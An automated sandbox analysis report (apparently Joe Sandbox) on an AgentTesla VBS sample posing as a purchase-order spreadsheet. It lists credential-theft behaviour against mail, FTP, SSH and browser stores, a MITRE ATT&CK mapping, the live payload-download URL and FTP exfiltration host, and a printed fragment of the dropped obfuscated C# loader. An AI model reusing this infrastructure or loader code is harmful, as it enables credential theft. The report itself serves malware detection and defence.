Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7836, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7836, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7836, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Exfiltration Over Alternative Protocol	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	115 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	321 Scripting	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	22 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO-09784893 xlsx.vbs	2%	ReversingLabs

Source	Detection	Scanner	Label	Link
ftp.mcmprint.net	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
ftp://ftp.mcmprint.netnoffice	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://b3solutionscws.com/wp-admin/includes/yyXYRRIJkuolPn153.fla	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
https://contoso.com/	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
http://OowQOv.com	0%	Avira URL Cloud	safe
http://hWFpSCunbgPMSZDs.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.mcmprint.net	185.31.121.136	true	false	10%, Virustotal, Browse	unknown
b3solutionscws.com	192.185.145.188	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://b3solutionscws.com/wp-admin/includes/yyXYRRIJkuolPn153.fla	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.2622363726.0000000004BD0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
ftp://ftp.mcmprint.netnoffice	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://OowQOv.com	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hWFpSCunbgPMSZDs.net	CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2579563055.0000000004421000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBPl	powershell.exe, 00000005.00000002.2579563055.0000000004421000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.185.145.188	b3solutionscws.com	United States		46606	UNIFIEDLAYER-AS-1US	false
185.31.121.136	ftp.mcmprint.net	Bulgaria		199364	RAX-ASBG	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	755440
Start date and time:	2022-11-28 18:44:48 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PO-09784893 xlsx.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@13/10@2/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 301 Number of non-executed functions: 15
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, svchost.exe, UsoClient.exe
Excluded IPs from analysis (whitelisted): 20.190.159.64, 40.126.31.73, 20.190.159.2, 40.126.31.71, 20.190.159.75, 20.190.159.71, 20.190.159.73, 40.126.31.69
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, prda.aadg.msidentity.com, login.live.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, login.msa.msidentity.com, www.tm.a.prd.aadg.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.185.145.188	PO-08784 xlsx.vbe	Get hash	malicious	Browse	b3solutionscws.com/wp-admin/includes/UtXRqIMUipDp192.pfb
185.31.121.136	PO-08784 xlsx.vbe	Get hash	malicious	Browse
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse
	Richiesta urgente.vbs	Get hash	malicious	Browse
	Payment advis pdf.scr.exe	Get hash	malicious	Browse
	ordine C220205 pdf.exe	Get hash	malicious	Browse
	PO#0192 xls.vbs	Get hash	malicious	Browse
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
b3solutionscws.com	PO-08784 xlsx.vbe	Get hash	malicious	Browse	192.185.145.188
ftp.mcmprint.net	PO-08784 xlsx.vbe	Get hash	malicious	Browse	185.31.121.136
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	185.31.121.136
	Richiesta urgente.vbs	Get hash	malicious	Browse	185.31.121.136
	Payment advis pdf.scr.exe	Get hash	malicious	Browse	185.31.121.136
	ordine C220205 pdf.exe	Get hash	malicious	Browse	185.31.121.136
	PO#0192 xls.vbs	Get hash	malicious	Browse	185.31.121.136
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse	185.31.121.136
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse	185.31.121.136
	Jtkmmbl.exe	Get hash	malicious	Browse	185.31.121.80
	DOC85945003805010 PDF.exe	Get hash	malicious	Browse	185.31.121.80
	RFQ NO # 577131022.pif.exe	Get hash	malicious	Browse	185.31.121.80
	PO-57064.scr.exe	Get hash	malicious	Browse	185.31.121.80
	INQUIRY- EUSQ131302.scr.exe	Get hash	malicious	Browse	185.31.121.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RAX-ASBG	PO-08784 xlsx.vbe	Get hash	malicious	Browse	185.31.121.136
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	185.31.121.136
	Richiesta urgente.vbs	Get hash	malicious	Browse	185.31.121.136
	Payment advis pdf.scr.exe	Get hash	malicious	Browse	185.31.121.136
	ordine C220205 pdf.exe	Get hash	malicious	Browse	185.31.121.136
	PO#0192 xls.vbs	Get hash	malicious	Browse	185.31.121.136
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse	185.31.121.136
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse	185.31.121.136
	Jtkmmbl.exe	Get hash	malicious	Browse	185.31.121.80
	DOC85945003805010 PDF.exe	Get hash	malicious	Browse	185.31.121.80
	RFQ NO # 577131022.pif.exe	Get hash	malicious	Browse	185.31.121.80
	PO-57064.scr.exe	Get hash	malicious	Browse	185.31.121.80
	INQUIRY- EUSQ131302.scr.exe	Get hash	malicious	Browse	185.31.121.80
	fsd8ks3VNb.exe	Get hash	malicious	Browse	185.31.121.135
UNIFIEDLAYER-AS-1US	PO-08784 xlsx.vbe	Get hash	malicious	Browse	192.185.145.188
	Confirmation transfer Copy AGS 22-0035.xls	Get hash	malicious	Browse	69.49.245.57
	Pago.xls	Get hash	malicious	Browse	192.185.113.96
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	162.240.62.179
	SHIPPING DOC.exe	Get hash	malicious	Browse	50.87.139.143
	RFQ 8525-22.exe	Get hash	malicious	Browse	192.185.90.105
	https://mail.jaytellis.com/blog/?i=i&0=dgss@seg-social.pt	Get hash	malicious	Browse	192.254.190.158
	NEW PURCHASE ORDER_PDF.exe	Get hash	malicious	Browse	162.241.194.178
	Richiesta urgente.vbs	Get hash	malicious	Browse	162.240.62.179
	Lakeringernes (1).exe	Get hash	malicious	Browse	50.87.192.144
	Vendor Master form.exe	Get hash	malicious	Browse	50.87.139.143
	Urgent quote request -pdf-.js	Get hash	malicious	Browse	162.241.123.11
	9umWLvLL9p.exe	Get hash	malicious	Browse	50.87.249.47
	bfBERETDmj.exe	Get hash	malicious	Browse	108.167.143.196
	pX2iKwDkVe.exe	Get hash	malicious	Browse	192.185.150.20
	SecuriteInfo.com.Win32.PWSX-gen.24831.19780.exe	Get hash	malicious	Browse	192.185.48.122
	boat.x86.elf	Get hash	malicious	Browse	74.91.232.63
	Estado de cuenta.xls	Get hash	malicious	Browse	192.185.113.96
	H32Mnb3sB8.exe	Get hash	malicious	Browse	192.185.150.20
	41052D6A6B62BDA012DBFD2C47B00943BFE395745917E.exe	Get hash	malicious	Browse	192.185.104.204

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.841989710132343
Encrypted:	false
SSDEEP:	192:Qxoe5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHD9smqdcU6C5pOWik:7hVoGIpN6KQkj22kjh4iUxgrib4J
MD5:	677C4E3A07935751EA3B092A5E23232F
SHA1:	0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD
SHA-256:	D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBC931F
SHA-512:	253BCC6033980157395016038E22D3A49B0FA40AEE18CC852065423BEF773BF000EAAEB0809D0B9C4E167883288B05BA168AF0A756D6B74852778EAAA30055C2
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\RESB964.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Nov 28 18:47:34 2022, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9921267078861025
Encrypted:	false
SSDEEP:	24:HQzW9Yrrm5gHKwKPfwI+ycuZhNNakSLPNnqS2d:Cri5gBKPo1ulNa3hqSG
MD5:	2706F0D7F5DABC5A1CC721DBA692F1EB
SHA1:	CC65CD85D89F680C17DB16BE8E8CB58530E2EF11
SHA-256:	620588E2053D963D41915EB65D5215C2F00626406C8BEABFDA33BB1EC8552DF8
SHA-512:	F07612030E995F8E3AD846E2A69FC7C6D9BC189ABC8C07563F91042044E4F9EFE5BE9E91048B87845D43F775863E54FE41FE663C84F529C1A31BE3429785C179
Malicious:	false
Preview:	L...F..c.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........U....c:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP...................v.5..^h..++..............5.......C:\Users\user\AppData\Local\Temp\RESB964.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.5.h.0.o.c.q.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azl1colp.uti.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvcwr2p1.jka.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0980330764827024
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryvak7YnqqLPN5Dlq5J:+RI+ycuZhNNakSLPNnqX
MD5:	CF76A035E6CF5E68BABD2B2B1AD6E4C7
SHA1:	C1514CC6A2B7B4FFBD8F7EEBAD9E480571779443
SHA-256:	1B0111D7F6316C3A023E61C0D21FF50A1D0FEC547E255F95FFBF1BE1A9112F6F
SHA-512:	33A8E9C0EF13EC208A763442095D7F7D33790673991B231DB1CD5B356101215B2DCA18F345CD54291E2F528E64427E5E63C3F37A61764A780CF3048B25E88197
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.5.h.0.o.c.q.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...u.5.h.0.o.c.q.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1330), with no line terminators
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.039121039231445
Encrypted:	false
SSDEEP:	24:JVS3UwgVcVn1pl65/6f8cwM2sVS86mCVmuWyBeFcwXQ:JVAngyVn1pl65/6EPYpaVmry0FPXQ
MD5:	5275A510067D1ABB9D22D3925B1C219F
SHA1:	41B1A3E7A0EE598898BFDC2E5BFDF6A2D34E6D64
SHA-256:	F44938B9BA94A2465515FD9EA6D319016294EAFA6EDC89A5D2E736195C3FA649
SHA-512:	B8CC343A3A47116F796D7554DEF206E86DEFEF0379DE0D3EA8870B8655425CD9ADBD08600452313D9D9C7B0483BFCCF1809CB41AB53B36E24D951D6F1F7403DC
Malicious:	false
Preview:	.using System;using System.Runtime.InteropServices;public static class Thwartness1 {[DllImport("ADVAPI32.DLL")]public static extern int GetServiceKeyName(int Noyisl,int Slgt69,int Affal,int baga);[DllImport("gdi32")]public static extern int GetClipRgn(int Mul,int Ggegu);[DllImport("kernel32")]public static extern IntPtr EnumSystemLocalesW(uint v1,int v2);[DllImport("kernel32")]public static extern int GlobalDeleteAtom(int Pre151);[DllImport("gdi32")]public static extern int StrokeAndFillPath(int Ethyl87);[DllImport("user32")]public static extern int CloseClipboard();[DllImport("winspool.drv")]public static extern int ScheduleJob(int Unover226,int akti);[DllImport("ADVAPI32.DLL")]public static extern int QueryServiceConfig(int Regler,int Cos0,int Dispos,int Napho27);[DllImport("winspool.drv")]public static extern int DocumentProperties(int Fors,int Langre,int Skriv,int hem,int Sambaf,int Reti);[DllImport("gdi32")]public static extern int PtVisible(int Sat,int Aspa,int Prjsis);[DllImpo

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.256918784888624
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fhMg+zxs7+AEszICN23fhMan:p37Lvkmb6Km5MfWZE75Ma
MD5:	D434ED867F2BEDFD239B64F88AD3C65A
SHA1:	1E6F95BCE2D835E04769E0927CF7421589BCAE6C
SHA-256:	D7682C0718ABFC7CE651D1D5D895036778C92A950C16A93065526AA52B508C27
SHA-512:	039A3610CAEC83FF4E70E6357F1C7FB0674FB50E54AB879A9CE6A9D8D7F38E018F2BA379D7FCBDA8F4AD5BF4234B385B3E8A4FED7E28808D6328CF33E620B2D0
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.0.cs"

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.3137761331931865
Encrypted:	false
SSDEEP:	48:6c94JSH+GEZhAdlfdW4DxrIUZQFNYg1ulNa3hq:DeSeHhYVdW0xrIUJfK
MD5:	CD3E785DA5D5237AA385B4CD2972B654
SHA1:	BA6615966F40545F716E729813BDC07F1D6A767F
SHA-256:	5D2C059FED935989F937445329E7925092739DEFD1321AF96DFC48597DB599C6
